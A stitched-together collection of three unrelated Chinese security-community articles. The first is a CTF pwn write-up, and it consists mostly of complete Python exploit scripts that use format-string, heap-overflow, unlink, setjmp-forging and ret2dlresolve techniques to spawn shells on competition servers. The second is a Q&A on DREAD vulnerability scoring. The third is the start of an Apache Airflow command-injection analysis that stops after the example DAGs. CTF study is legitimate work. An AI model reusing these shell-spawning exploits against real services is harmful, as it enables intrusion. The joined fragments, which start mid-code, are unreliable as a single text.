unsigned char data[0x100] = "x38x9Bx50xCEx86xDDxF0x1Dx0DxC3xD6xE2xF2x29xD3x83x6CxE8x86x5Fx95xE6x4Fx63x5Fx3Bx9Bx5Fx53xBCx41x2Ax49x08x02xAAx10xECx2Cx58xD5x27xCDx93x38x10xE4xDC";
unsigned char * output;
__asm
{
push esi
lea esi, input
push esi
lea esi, data;
call ProcAddr
mov output, eax
pop eax
pop esi
}
if(!memcmp(output, str, 0x30))
{
printf("%sn", input);
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
等到爆出来的时候，比赛已经结束了。爆出来为:
%6K#7E&5C*9G!8I$
当然这还不是最终结果，还要用这个作为密钥，去AES解密加密表，才能得到flag。。。
**
**
**Pwn-login**
sprintf里面的格式化字符串的内容可以被自身的格式化给覆盖掉，把%s:%s覆盖掉，覆盖成%hhn，然后格式化来改写check_stack_fail的最后一字节，拿shell的时候
，不能用system拿，不能用system拿，环境变量被栈覆盖掉了：
from zio import *
target = ("58.213.63.30",4002)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def gen_rop_data(func_addr, args, pie_text_base = 0):
p_ret = [0x0804844e, 0x08048465, 0x0804891a, 0x08048919, 0x08048918]
rop_data = ''
rop_data += l32(func_addr)
if len(args) > 0:
rop_data += l32(p_ret[len(args)] + pie_text_base)
for arg in args:
rop_data += l32(arg)
return rop_data
def pwn(io):
puts_got = 0x0804a01c
offset_puts = 0x656a0
puts_plt = 0x080484c0
read_plt = 0x08048480
read_buff_addr = 0x0804862B
check_stack_fail_got = 0x804A014
bss_addr = 0x0804a000 + 0xe20
leave_ret = 0x08048715
pop_ebp_ret = 0x0804871f #: pop ebp ; ret
username = ""
#username += 'bbbb'
username += l32(check_stack_fail_got)
username += "a"*0x4C
#username += "bbbb"
username += gen_rop_data(puts_plt, [puts_got])
username += gen_rop_data(read_buff_addr, [bss_addr, 0x01010101])
username += l32(pop_ebp_ret) + l32(bss_addr)
username += l32(leave_ret)
#username += gen_rop_data(puts_plt, [puts_got+4])
print hex(len(username)), hex(0xd6 - 0x5c - 4)
#username = username.ljust(0xd6 - 0x5c - 4, 'a')
#username += "%s:%s.%p.%p.%p.%p.%p"# + "%p."*4
#username += "%x.".ljust(8, '-')*10
#username += "aa:"
username = username.ljust(0xc0, 'a')
username += 'a'*(0x66-0x43)
username += "%9$hhn.".ljust(10, '-')
#username += "%9$p.".ljust(10, '-')
username = username.ljust(0x100-1, 'a')
password = ""
password += 'w' * 0x40
io.read_until(":")
io.writeline(username)
io.read_until(":")
#io.gdb_hint()
io.writeline(password)
io.read_until("")
io.read_until("Login successful!n")
io.read_until("n")
data = io.read_until("n")
print data
puts_addr = l32(data[:4])
offset_system = 0x3e800
offset_execve = 0xB59F0
#"""
#remote
offset_system = 0x3fe70
offset_puts = 0x64da0
offset_execve = 0xB4EA0
#"""
libc_base = puts_addr - offset_puts
system_addr = libc_base + offset_system
execve_addr = libc_base + offset_execve
payload = ""
payload += l32(0x0)
payload += gen_rop_data(execve_addr, [bss_addr+0x100, 0, 0])
payload = payload.ljust(0x100, 'a')
payload += "/bin/shx00"
payload += l8(0x1f)
io.gdb_hint()
io.writeline(payload)
io.interact()
io = get_io(target)
pwn(io)
**Pwn-Dragon**
存在堆溢出，可以修改堆结构中的size.
脚本如下：
from pwn import *
#r = remote('58.213.63.30', 11501)
r = process("./dragon")
def add(size, name, content):
r.recvuntil('>>')
r.sendline('1')
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
r.sendline(name)
r.recvuntil(':')
r.sendline(content)
def edit(id, content):
r.recvuntil('>>')
r.sendline('2')
r.recvuntil(':')
r.sendline(str(id))
r.recvuntil(':')
r.write(content)
def show(id):
r.recvuntil('>>')
r.sendline('4')
r.recvuntil(':')
r.sendline(str(id))
def delete(id):
r.recvuntil('>>')
r.sendline('3')
r.recvuntil(':')
r.sendline(str(id))
add(0x20, 'AAAA', 'AAAA')
add(0x20, 'AAAA', 'A'*0x18)
add(0x20, 'AAAA', 'A'*0x18)
edit(0, 'A'*0x18+p64(0xd1)) # note1
delete(1)
add(0x20, 'AAAA', 'A'*0x18)
strlen_got = 0x602028
add(0x10, 'AAAA', p64(strlen_got)+'d'*0x10)
edit(3, p64(strlen_got)) #note2
show(2)
r.recvuntil('content: ')
strlen_addr = u64(r.readline()[:-1].ljust(8, 'x00'))
print "[*] strlen addr:{0}".format(hex(strlen_addr))
libc = ELF("./libc-2.19.so")#ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base = strlen_addr - libc.symbols['strlen']
system_addr = libc_base + libc.symbols['system']
edit(2, p64(system_addr))
edit(0, '/bin/shx00')
r.interactive()
**
**
**Pwn-Class**
在init函数中num*200+8存在整形溢出，num控制得当可以使得分配的空间很小。Setjmp会将当前的寄存器保存到堆上（部分寄存器进行了rol和异或加密）。通过show功能可以泄露出保存的寄存器值，通过edit功能可以修改这些值，然后通过longjmp改变程序的控制流程，因为rsp和rip都能被随意修改，所以比较容易进行rop。
脚本：
from threading import Thread
from zio import *
target = './class'
target = ('58.213.63.30', 4001)
def interact(io):
def run_recv():
while True:
try:
output = io.read_until_timeout(timeout=1)
# print output
except:
return
t1 = Thread(target=run_recv)
t1.start()
while True:
d = raw_input()
if d != '':
io.writeline(d)
def rerol(d):
return ((d<<(64-0x11))+(d>>0x11))&0xffffffffffffffff
def rol(d):
return ((d<<0x11) + (d>>(64-0x11)))&0xffffffffffffffff
def show(io, id):
io.read_until('>>')
io.writeline('2')
io.read_until(':')
io.writeline(str(id))
io.read_until('name:')
r12 = l64(io.read_until(',')[:-1].ljust(8, 'x00'))
print 'r12', hex(r12)
io.read_until('addr:')
enc_rsp = l64(io.read(8))
enc_rip = l64(io.read_until(',')[:-1].ljust(8, 'x00'))
base = r12 - 0xaa0
print 'enc_rsp', hex(enc_rsp)
print 'enc_rip', hex(enc_rip)
real_rip = base + 0x1495
cookie = rerol(enc_rip)^real_rip
print 'cookie', hex(cookie)
real_rsp = rerol(enc_rsp)^cookie
print 'real_rsp', hex(real_rsp)
return (base, real_rsp, cookie)
def edit(io, id, age, name, addr, introduce):
io.read_until('>>')
io.writeline('3')
io.read_until(':')
io.writeline(str(id))
io.read_until(':')
io.writeline(name)
io.read_until(':')
io.writeline(str(age))
io.read_until(':')
io.writeline(addr)
io.read_until(':')
io.writeline(introduce)
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
io.read_until(':')
io.writeline(str(92233720368547759))
base, rsp, cookie = show(io, 1)
print 'base', hex(base)
fake_rsp = rsp - 0x48
pop_rdi_ret = base + 0x000000000001523
addr = l64(rol(fake_rsp^cookie))+l64(rol(pop_rdi_ret^cookie))
print HEX(addr)
edit(io, 1, 0, "", addr, "")
io.read_until('>>')
payload = '5;'+'a'*6
puts_got = 0x0000000000202018+ base
puts_plt = 0x9a0 + base
main = base + 0x00000000000013ff
payload += l64(puts_got)+l64(puts_plt)+l64(main)
io.writeline(payload)
puts_addr = l64(io.readline()[:-1].ljust(8, 'x00'))
'''
base = puts_addr - 0x000000000006F5D0
system = base + 0x0000000000045380
print 'system', hex(system)
binsh = base + 0x000000000018C58B
'''
base = puts_addr - 0x000000000006FD60
print 'base', hex(base)
system = base + 0x0000000000046590
binsh = base + 0x000000000017C8C3
#io.gdb_hint()
io.read_until(':')
io.writeline(str(92233720368547759))
fake_rsp = rsp - 0x80
addr = l64(rol(fake_rsp^cookie))+l64(rol(pop_rdi_ret^cookie))
print HEX(addr)
io.gdb_hint()
edit(io, 1, 0, "", addr, "")
io.read_until('>>')
payload = '5;'+'a'*6
payload += l64(binsh)+l64(system)+l64(main)
io.writeline(payload)
#io.gdb_hint()
interact(io)
exp(target)
**
**
**Pwn-sandbox**
沙箱做了如下限制：对外的调用都通过jmp ds:dl_resolve出去，所以采用return-to-dlresolve进行利用。
脚本：
#encoding:utf-8
import struct
from threading import Thread
from zio import *
target = './sandbox ./vul'
#target = './vul'
target = ('58.213.63.30', 4004)
def interact(io):
def run_recv():
while True:
try:
output = io.read_until_timeout(timeout=1)
# print output
except:
return
t1 = Thread(target=run_recv)
t1.start()
while True:
d = raw_input()
if d != '':
io.writeline(d)
def write_16byte(io, addr, value):
io.write('a'*0x10+l64(addr+0x10)+l64(0x400582))
io.write(value+l64(0x601f00)+l64(0x400582))
fake_relro = ''
fake_sym = ''
#link_map_addr = 0x00007ffff7ffe1c8 #close aslr.(if has aslr, need leak)
#link_map_addr = 0x7ffff7ffe168
def generate_fake_relro(r_offset, r_sym):
return l64(r_offset) + l32(7)+l32(r_sym)+ l64(0)
def generate_fake_sym(st_name):
return l32(st_name)+l8(0x12)+l8(0) + l16(0) + l64(0) + l64(0)
#versym = 0x40031e
symtab = 0x4002b8
strtab = 0x400330
jmprel = 0x4003b8
bss_addr = 0x601058
# .bss addr = 0x601058
# 0x155dc*0x18+0x4003b8 = 0x601058
# so index = 0x155dc
#0x155e8*0x18+0x4002b8 = 0x601078
# so r_sym = 0x155e8
# 0x200d68 + 0x400330 = 0x601098
# so st_name = 0x200d68
def write_any(io, addr, value):
print hex(addr), hex(value)
io.read_until(':n')
io.writeline('0')
io.write(l64(addr)+l64(value))
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
pop_rdi_ret = 0x0000000000400603
pop_rsi_r15_ret = 0x0000000000400601
leak_addr = 0x600ef0
write_plt = 0x0000000000400430
pop_rbp_ret = 0x4004d0
leak_rop = l64(pop_rsi_r15_ret) + l64(leak_addr) + l64(0) + l64(pop_rdi_ret) + l64(1) + l64(write_plt)
leak_rop += l64(pop_rbp_ret) + l64(0x601f00) + l64(0x400582)
for i in range(0, len(leak_rop), 8):
write_16byte(io, 0x601b00+i, leak_rop[i:i+8]+'x00'*8)
leave_ret = 0x40059d
leak_stack_povit = 'a' * 0x10 + l64(0x601b00 - 0x8) + l64(leave_ret)
io.write(leak_stack_povit)
io.read_until(':')
link_map_addr = l64(io.read(8)) + 0x28
print hex(link_map_addr)
r_offset = 0x601970 # a writable addr
r_sym = 0x155e8
fake_relro = generate_fake_relro(r_offset, r_sym).ljust(0x20, 'x00')
st_name = 0x200d68
fake_sym = generate_fake_sym(st_name).ljust(0x20, 'x00')
write_16byte(io, link_map_addr+0x1c8, 'x00'*0x10)
#write_16byte(io, 0x600858, l64(0x6ffffff0)+l64(0x3d57d6))
for i in range(0, len(fake_relro), 8):
write_16byte(io, 0x601058+i, fake_relro[i:i+8]+'x00'*8)
for i in range(0, len(fake_sym), 8):
write_16byte(io, 0x601078+i, fake_sym[i:i+8]+'x00'*8)
write_16byte(io, 0x601098, 'system'.ljust(16, 'x00'))
write_16byte(io, 0x601a50, '/bin/sh'.ljust(16, 'x00'))
plt0 = 0x400420
rop = l64(pop_rdi_ret) + l64(0x601a50)
index = 0x155dc
rop += l64(plt0) + l64(index)
for i in range(0, len(rop), 8):
write_16byte(io, 0x601980+i, rop[i:i+8]+'x00'*8)
stack_povit = 'a'*0x10 + l64(0x601980-0x8) + l64(leave_ret)
io.write(stack_povit)
interact(io)
exp(target)
**
**
**Pwn-note**
漏洞存在于edit中，有堆溢出。
此题采用talloc，不过talloc_free内部会调用free函数，所以采用unlink方法进行利用。
脚本：
from threading import Thread
from zio import *
target = ('119.254.101.197', 10000)
target = './note'
def interact(io):
def run_recv():
while True:
try:
output = io.read_until_timeout(timeout=1)
except:
return
t1 = Thread(target=run_recv)
t1.start()
while True:
d = raw_input()
if d != '':
io.writeline(d)
def add(io, title, size, content):
io.read_until('>>')
io.writeline('1')
io.read_until(':')
io.writeline(title)
io.read_until(':')
io.writeline(str(size))
io.read_until(':')
io.writeline(content)
def edit(io, id, offset, content):
io.read_until('>>')
io.writeline('3')
io.read_until(':')
io.writeline(str(id))
io.read_until(':')
io.writeline(str(offset))
io.read_until(":")
io.writeline(content)
def edit2(io, id, offset, content):
count = len(content)/48
print len(content)
print count
for i in range(count):
io.read_until('>>')
io.writeline('3')
io.read_until(':')
io.writeline(str(id))
io.read_until(':')
io.writeline(str(offset+48*i))
io.read_until(":")
io.write(content[i*48:i*48+48])
if len(content[count*48:]) > 0:
io.read_until('>>')
io.writeline('3')
io.read_until(':')
io.writeline(str(id))
io.read_until(':')
io.writeline(str(offset+48*count))
io.read_until(':')
io.writeline(content[count*48:])
def delete(io, id):
io.read_until('>>')
io.writeline('4')
io.read_until(':')
io.writeline(str(id))
def change(io, id, title):
io.read_until('>>')
io.writeline('5')
io.read_until(':')
io.writeline(str(id))
io.read_until(':')
io.writeline(title)
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
add(io, '%13$p', 0x100, '111') #0x603070 0x603110 #0
add(io, '222', 0x100, '222') #0x603280 0x603320 #1
add(io, '333', 0x100, '333') #0x603490 0x603530 #2
add(io, '444', 0x100, '444') #0x6036a0 0x603740 #3
add(io, 'sh;', 0x100, '555') #0x6038b0 0x603950 #4
add(io, '666', 0x100, '666') #0x603ac0 0x603b60 #5
delete(io, 1)
delete(io, 2)
heap_ptr = 0x6020f0
payload = l64(0) + l64(0x211) +l64(heap_ptr-0x18)+l64(heap_ptr-0x10)
payload = payload[:-1]
add(io, payload[:-1], 0x300, '777') #0x603280 0x603320 #6
add(io, 'sh;', 0x100, '888')
#io.gdb_hint()
offset = 0x603490 - 0x603320
# size next prev parent
fake_head1 = l64(0x210)+l64(0x90)+ l64(0) +l64(0)+ l64(0x603a60)
# child refs descutor name size flags pool padding
fake_head2 = l64(0)+l64(0)+l64(0)+l64(0x400dc4)+l64(0x100)+l64(0x00000000e8150c70)+l64(0)+l64(0)+l64(0)
fake_head2 = fake_head2.ljust(0x90-0x28, 'x00')
fake_head2 += l64(0) + l64(0x21) + 'x00'*0x10 + l64(0) + l64(0x21)
fake_head1 = fake_head1[:-6]
payload = 'x00' + l64(0)+l64(0xa1)+l64(0)+l64(0)+l64(0)+l64(0x6034a0)
payload = payload[:-6]
edit(io, 4, 0x100-1, payload)
edit2(io, 6, offset, fake_head1)
edit2(io, 6, offset+0x28, fake_head2)
delete(io, 5)
talloc_free_got = 0x602048
print_plt = 0x4007E0
title = l64(talloc_free_got) + l64(0) + l64(0) + l64(0x6020d0)
title = title[:-2]
change(io, 6, title)
change(io, 3, l64(print_plt)[:-1])
io.gdb_hint()
delete(io, 0)
io.read_until('0x')
main_ret = int(io.read_until('De')[:-2], 16)
base = main_ret - 0x0000000000021EC5
print hex(base)
system = base + 0x0000000000046640
print hex(system)
change(io, 3, l64(system)[:-1])
delete(io, 7)
interact(io)
exp(target)
**
**
**Pwn-Goodluck**
* * *
****
条件竞争漏洞，g_index的值可以在主线程中修改，然后在第2个子线程中能实现任意地址+1操作。
read_int如果参数为0，可以栈溢出。
脚本：
from threading import Thread
# from uploadflag import *
from zio import *
target = ('119.254.101.197', 10000)
target = './pwn2'
def add1(io,type,name,number,some):
io.read_until("choice:")
io.writeline('1')
io.read_until("flower")
io.writeline(str(type))
io.read_until('name:')
io.writeline(name)
io.read_until('number:')
io.writeline(str(number))
io.read_until('again:')
io.writeline(some)
def add2(io, type, name, much, price, some):
io.read_until("choice:")
io.writeline('1')
io.read_until("flower")
io.writeline(str(type))
io.read_until('name:')
io.writeline(name)
io.read_until('want:')
io.writeline(much)
io.read_until('table:')
io.writeline(price)
io.read_until('something:')
io.writeline(some)
def show(io,index):
io.writeline('4')
io.read_until('show')
io.writeline(str(index))
def delete(io,index):
io.writeline('2')
io.read_until(cs7)
io.writeline(str(index))
def edit(io,index,data):
io.writeline('3')
io.read_until('edit:')
io.writeline(str(index))
io.read_until('something')
io.writeline(data)
def interact(io):
def run_recv():
while True:
try:
output = io.read_until_timeout(timeout=1)
# print output
except:
return
t1 = Thread(target=run_recv)
t1.start()
while True:
d = raw_input()
if d != '':
io.writeline(d)
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
add1(io, 3, 'bbbb', 100, 'ccccccccc')
fake_index = (0x2031a0 - 0x203180)/8
delete(io, 0)
delete(io, fake_index)
io.read_until('delete 0')
show(io, 0)
io.read_until('s1->')
data = io.read_until(' ')[:-1]
code_base = l64(data.ljust(8, 'x00')) - 0x1040
print hex(code_base)
canary_addr = code_base + 0x2031c0 + 1
add2(io, 2, 'aaaa', str(canary_addr&0xffffffff), str(canary_addr>>32), 'bbbbbbbb')
delete(io, 1)
delete(io, fake_index + 1)
io.read_until('delete 1')
show(io, 1)
io.read_until("fake show!n")
cookies = l64(io.read_until('n')[:-1].ljust(8, 'x00')) << 8
print 'cookie', hex(cookies)
add1(io, 0, 'cccc',100, '0517')
io.gdb_hint()
show(io, 2)
io.read_until('againn')
puts_plt = code_base + 0x0000000000000BC0
puts_got = code_base + 0x0000000000202F20
pop_rdi_ret = code_base + 0x0000000000001653
read_int = code_base + 0x0000000000000F80
payload = 'a'*0x18 + l64(cookies) + 'aaaaaaaa'*5 + l64(pop_rdi_ret) + l64(puts_got) + l64(puts_plt) + l64(pop_rdi_ret)+l64(0) + l64(read_int)
io.writeline(payload)
puts = l64(io.readline()[:-1].ljust(8, 'x00'))
libc_base = puts - 0x000000000006F5D0
print hex(libc_base)
system = libc_base + 0x0000000000045380
binsh = libc_base + 0x000000000018C58B
payload = 'a'*0x18 + l64(cookies) + 'aaaaaaaa'*5 + l64(pop_rdi_ret) + l64(binsh) + l64(system)
io.writeline(payload)
io.gdb_hint()
interact(io)
exp(target) | 社区文章 |
# 上周DREAD计算漏洞等级的Q&A
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
上期文章链接：<https://www.anquanke.com/post/id/161442>
> 上周二，发出了文章后，收到了不少小伙伴的反馈，很多问题点上进行了进一步的探讨，还有拿具体漏洞来一起进一步解读DREAD模型的应用的。
>
> 根据一周的收集，挑选了一些意见建议，并且反馈如下。被点到名的小伙伴，本周将陆续收到小礼物一份哦~感谢~
问题一
Q:
“复现难度”是不是和“利用难度”表达的有些概念重合，都涉及到工具如web浏览器，是不是可以合并或删除一个？
——by 英雄马 & M & 小情痴
A:
首先得讲讲，“复现难度”和“利用难度”分别代表的概念是什么。这2个维度虽然都涉及到工具，但是概念还是不一致的。后来想想，可以以“照着菜谱”做菜“吃”的打个比方，来说明下这两个概念。
加入我们分析一个漏洞被发现后利用，比作照着菜谱做菜吃，漏洞详情相当于菜谱，复现漏洞相当于做菜（复现难度相当于做菜难度），利用漏洞相当于把菜给吃了（利用难度相当于吃菜难度）。
那么以下几道菜（饭）的复现和利用难度相当于：
1.蒸白米饭
复现难度（低）：照着菜谱蒸米饭容易，有米有水有电饭锅，下水下米蒸就行
利用难度（低）：吃米饭容易，把米盛到碗里用筷子就能吃
2.清蒸大闸蟹
复现难度（低）：照着菜谱蒸大闸蟹容易，大闸蟹放锅里蒸就行
利用难度（高）：吃大闸蟹不容易，需要钳子，或者用牙使劲儿咬开，要开了还得用手使劲儿扣大腿里面的肉
（找图找的我都饿了，螃蟹真乃人间美味啊~上周末sixwhale小姐姐又又又又入职成功，请吃大闸蟹，回味无穷~）
3.炒鱼香肉丝
复现难度（高）：照着菜谱炒鱼香肉丝很难，不仅要准备多种食材调料，做的时候比例火候掌握不好做的也不好吃。
利用难度（低）：吃鱼香肉丝有碗和筷子就行，也不需要费劲儿吃
_________________我是一条正经线_________________
那么，擦擦口水
从饭菜中返回头来说，复现难度和利用难度是不是就相当于有一个初步的理解了呢？
那么，在漏洞中，复现难度和利用难度，可以考虑如下解释：
1.复现难度：
具体程度的区别可以理解为：
1）举个极端的例子，想要复现网盘公开信息泄露的漏洞，把地址输入web浏览器就可以了，任何人都可以，包括不懂安全的人；
2）再深入一点，需要登录一个web或者app注册一下，或者需要达到某种权限，才能有机会使用这个功能然后触发这个漏洞，复现更难一些；
3）再再深入一点，想拿到用户名密码，需要在5分钟内才有可能复现这个漏洞/证明这个漏洞存在，超出就无效了；或者需要满足时间和没有验证码才能复现，这2个条件缺一不可；
4）再再再深入一点，想要复现某个漏洞，复现成功的概率非常低，可能得超过3个以上的强制条件才能复现这个漏洞，写了poc都不见得能复现，说不定得录个像才有可能复现。
2.利用难度：
具体程度的区别可以理解为：
1）举个极端的例子，百度网盘敏感信息公开分享，只要有百度网盘的url，在浏览器打开，就可以直接下载信息到本地；
2）再深入一层，用浏览器，发个钓鱼贴，等待钓鱼上钩，收集token，这一系列下来，好像比前一个难一点儿？
3）再再深入一层，如果只有利用工具，例如burp不断的爆破，才能拿到用户名密码，好像又难一点儿？
4）再再再深入一层，如果用burp不行，还得用pythyon写个脚本，才能拿到token，似乎更难一点？
5）再再再再深入一层，这个是你自己发现的0day，如果用一般人写脚本也不行，是不是就更更难了？
所以，这两个其实具体指的不是同一个概念，以上是我和小伙伴们沟通后的一些理解，欢迎继续沟通讨论。
感谢@Leej杰哥提供的做菜方式解释复现难度和利用难度的方式。
(p.s.你说自己不是吃货，谁信呢？！)
问题二
Q:
各项指标即使让打分也是一个感觉分，比较主观，难以保证科学性和公平公正
——by lion
A:
首先，以“利用难度”为例，一开始找到基础概念定义，初学者->中级->熟练等概念的时候，确实容易非常主观，后续后面其实添加了一些具体使用工具的场景，如
初学者：仅需Web浏览器；
中级：已存在可用工具或可被轻易利用；
熟练：需自定制脚本或高级攻击工具；
添加了后面这些定语和具体场景，就是为了更加方便的来判断属于哪一种场景。当然具体的场景还是需要不断的优化，以适应更多和更实际的漏洞情况。
其次，@lion提出的一个方法，可以多人评论取平均值。这是一个很好的建议。
最后，具体到操作层面，我们的评级方式是：
1）第一层是白帽子选择好各个因素后系统根据选项自动计算漏洞风险等级，当然这个计算完了白帽子还是可以自己手动改；
2）第二层是安全技术评级，结合漏洞复现情况，以及与业务沟通漏洞实际原理原因，给出技术和结合业务的评级，这个时候的评级，为了避免干扰安全技术的客观评价，是不显示白帽子的自评的；
3）第三层是安全运营评级，可以看到白帽子、安全技术双方的评级，需要对漏洞的评级标准理解非常深入，还需要能够和白帽子、安全技术甚至业务方进行良好的沟通，能够综合各个因素，掌握全局，并给出综合评级；
4）第四层是安全运营与白帽子再次沟通评级。尤其是可能涉及到高危严重的漏洞，跨级的分数等，这必不可少。
如果有争议，继续循环往复，但是往往大部分的漏洞通过前三层就已经都解决掉了。安全运营需要提前预判可能产生争议的地方，并通过运营的各项基本技能协调解决，后面也会再出文章讲讲怎么处理漏洞争议。
这么几个方式下来，不断的根据实际情况再优化选项内容，逐渐降低成本，提升效率，减少争议。
一开始的时候乍一看可能以为步骤有些多，但是捍卫漏洞评级的公平公正，保证白帽子的合理权益，值得。
问题三
Q:
对于移动客户端的漏洞，无论是本地攻击还是远程，因为需要交互，即使漏洞本身危害再严重，最后定级也是高危
——by Kevin.☻.
A:
“需要交互”这个点，对应的实际上是“利用难度”。
利用难度上，可以观察，在具体利用的时候，能不能给出具体的利用方法呢？
（注：给出利用方法，并不等于直接去进行利用这个操作哦~真的操作了可能就存在法律风险了呢，各位安全爱好者要注意保护自己，能够点到为止即可）
如果在利用方法上，只需要Web浏览器或者已存在可利用的攻击，使用高成功率的钓鱼，用户简单的交互即可利用成功，那么是不是符合“中级”？
如果需要自定义脚本或使用高级利用工具，是不是符合“熟练”？
依次类推，可以找到一个合适的利用难度。
如果真的只需要Web浏览器，简单的钓鱼就可以高成功率实现，实际上这一项的得分也是3，在其他4个维度都比较高的情况下，也是会到严重的。
因此，是不是因为移动客户端漏洞，很多情况下“需要交互”就不可能到“严重”级别呢？答案当然是否定的，还要具体看实际的利用难度等多个维度综合评分，也是有可能的。
问题四
Q:
危害性可以有很多个维度，例如公关、法律、用户体验等等，是不是可以权重重一些，而不是平均化
——by @wAnyBug
A:
危害性这里，具体只写了信息泄露、资金损失、服务被入侵等情况，至于公关、法律、用户体验等，可以作为危害性的某个自维度，也可以和最终的“安全风险等级”提炼出来，认为，风险等级，可能包括安全技术风险、公关风险、法律风险等等。这个就可以根据自己公司的实际情况进行调整。
由于SRC收到的漏洞，实际上可以理解为，已经被外界知晓，所以默认都是存在公关、法律等风险的，所以具体评分的时候建议在DREAD模型外，用这些安全技术风险意外的风险元素作为最终等级的调整。
问题五
Q:
如果出于白帽子第一用户的角度，发现难度的奖励，是不是应该适当增加一些？
——by @wAnyBug
A:
发现难度这里，首先先看下发现难度的定义：
这里没有区分角色，但是从描述中可以看到有区分内外网，漏洞信息是否公开披露，通常认为，都是以“外部黑盒”角度来定义。
1）如果区分白帽子和安全渗透测试团队，同样一个漏洞，如果是内部安全渗透测试，通过获取一些资料，如代码、产品文档、接口文档等来发现漏洞，那么同样的一个漏洞，发现难度这里渗透测试团队发现虽然实际上比白帽子发现的容易，但是实际得分上来看，内部安全渗透测试得分是2（因为是通过内部资料发现的），而白帽子可能是3或者4（没有拿到这些资料，但是确实是外部获得）。
2）但是如果内部渗透测试和白帽子，都是以外部黑盒角度，而没有拿到更多内部材料的情况下，同样一个漏洞，内部渗透测试和白帽子的漏洞的发现难度是一致的。
所以，关键还是从黑盒角度看，发现成本的高低，如果在没有额外因素的情况下，安全渗透工程师和白帽子发现难度是一致，那么得分一致；如果存在额外因素导致安全渗透测试工程师更容易，那么白帽子的分就相对要高一些。
问题六
Q:
“受影响用户”这个维度里的数量，是不是也可以参考等保要求来定多少的标准？
——by @wAnyBug
A:
受影响用户的多少，网安法敏感信息泄露50条就可判刑也好，等保也好，或者按照资损比例，或者按照某一类区间，或者有其他的因素，都可以作为参考依据，以自己公司的实际情况来看，只要标准明确，合理即可。
问题七
Q:DREAD的计算公式里，除以2后有小数，小数是应该舍去还是进位？例如漏洞计算器算出来是2.5，最终是给低危-2，还是中危-3？
——by 仓鼠
DREAD公式：等级[忽略(0),严重(10)]=(危害性[0,4]+复现难度[0,4]+利用难度[0,4]+受影响用户[0,4]+发现难度[0,4])/2
A:
如果是以风险最大化来讲，进位（小数点后四舍五入）合适；如果以有argue空间来讲，舍位（取整数）合适。
具体以各公司实际情况来定，标准一致即可。
问题八
Q:具体使用漏洞计算器算等级时，涉及到资金的，没发现在核心业务里，是不是可以加到里面？
——by Kevin.☻.
A:
当然！
写着写着，感觉好像又欠了一篇漏洞争议处理，上期承诺的去重还没写，那就等等吧~这大半夜的，越写越饿~谁来请我吃大闸蟹啊~ | 社区文章 |
# 前言
Airflow 是一个使用 python 语言编写的 data pipeline 调度和监控工作流的平台。 Airflow 是通过 DAG（Directed
acyclic graph 有向无环图）来管理任务流程的任务调度工具， 不需要知道业务数据的具体内容，设置任务的依赖关系即可实现任务调度。
这个平台拥有和 Hive、Presto、MySQL、HDFS、Postgres 等数据源之间交互的能力，并且提供了钩子（hook）使其拥有很好地扩展性。
除了一个命令行界面，该工具还提供了一个基于 Web 的用户界面可以可视化管道的依赖关系、监控进度、触发任务等。
项目地址：<https://github.com/apache/airflow>
# 漏洞环境
#启动容器
docker run --rm --entrypoint '' -v /tmp/airflow/:/root/airflow --name airflow -it apache/airflow:master-ci /bin/bash
#进入容器进行初始化配置
airflow db init
nohup airflow webserver &
nohup airflow scheduler &
#默认使用Sqlite如需要使用mysql修改配置后重新初始化DB即可
vi /root/airflow/airflow.cfg
修改：sql_alchemy_conn = mysql+mysqldb://root:password@mysqlip:3306/airflow
#高版本下Mysql需要注意DB需要为UTF8mb3，否则会创建索引的时候超过长度
CREATE DATABASE airflow CHARACTER SET UTF8mb3 COLLATE utf8_general_ci
参考：<https://airflow.apache.org/docs/stable/start.html>
# 漏洞分析
## 漏洞描述
参考：
<https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E>
默认情况下Airflow Web UI是未授权访问的，直接可以登录，而登录后，只能查看DAG的调度状态等，无法进行更多操作。
但Airflow Web
UI中提供了触发DAG运行的功能，以便测试DAG，同时Airflow为了让使用者可以快速熟悉其DAG开发流程和功能，为了更好的示例这些DAG覆盖了大多的执行器。而其中两个DAG组合起来可触发命令注入导致漏洞产生。
## 详细分析
首先看下下面两个DAG
#airflow/example_dags/example_trigger_target_dag.py
from airflow import DAG
from airflow.operators.bash import BashOperator
from airflow.operators.python import PythonOperator
from airflow.utils.dates import days_ago
dag = DAG(
dag_id="example_trigger_target_dag",
default_args={"start_date": days_ago(2), "owner": "airflow"},
schedule_interval=None,
tags=['example']
)
def run_this_func(**context):
"""
Print the payload "message" passed to the DagRun conf attribute.
:param context: The execution context
:type context: dict
"""
print("Remotely received value of {} for key=message".format(context["dag_run"].conf["message"]))
run_this = PythonOperator(task_id="run_this", python_callable=run_this_func, dag=dag)
bash_task = BashOperator(
task_id="bash_task",
bash_command='echo "Here is the message: \'{{ dag_run.conf["message"] if dag_run else "" }}\'"',
dag=dag,
)
#airflow/example_dags/example_trigger_controller_dag.py
from airflow import DAG
from airflow.operators.dagrun_operator import TriggerDagRunOperator
from airflow.utils.dates import days_ago
dag = DAG(
dag_id="example_trigger_controller_dag",
default_args={"owner": "airflow", "start_date": days_ago(2)},
schedule_interval="@once",
tags=['example']
)
trigger = TriggerDagRunOperator(
task_id="test_trigger_dagrun",
trigger_dag_id="example_trigger_target_dag", # Ensure this equals the dag_id of the DAG to trigger
conf={"message": "Hello World"},
dag=dag,
)
官方对这两个DAG的说明如下：
Example usage of the TriggerDagRunOperator. This example holds 2 DAGs:
1. 1st DAG (example_trigger_controller_dag) holds a TriggerDagRunOperator, which will trigger the 2nd DAG
2. 2nd DAG (example_trigger_target_dag) which will be triggered by the TriggerDagRunOperator in the 1st DAG
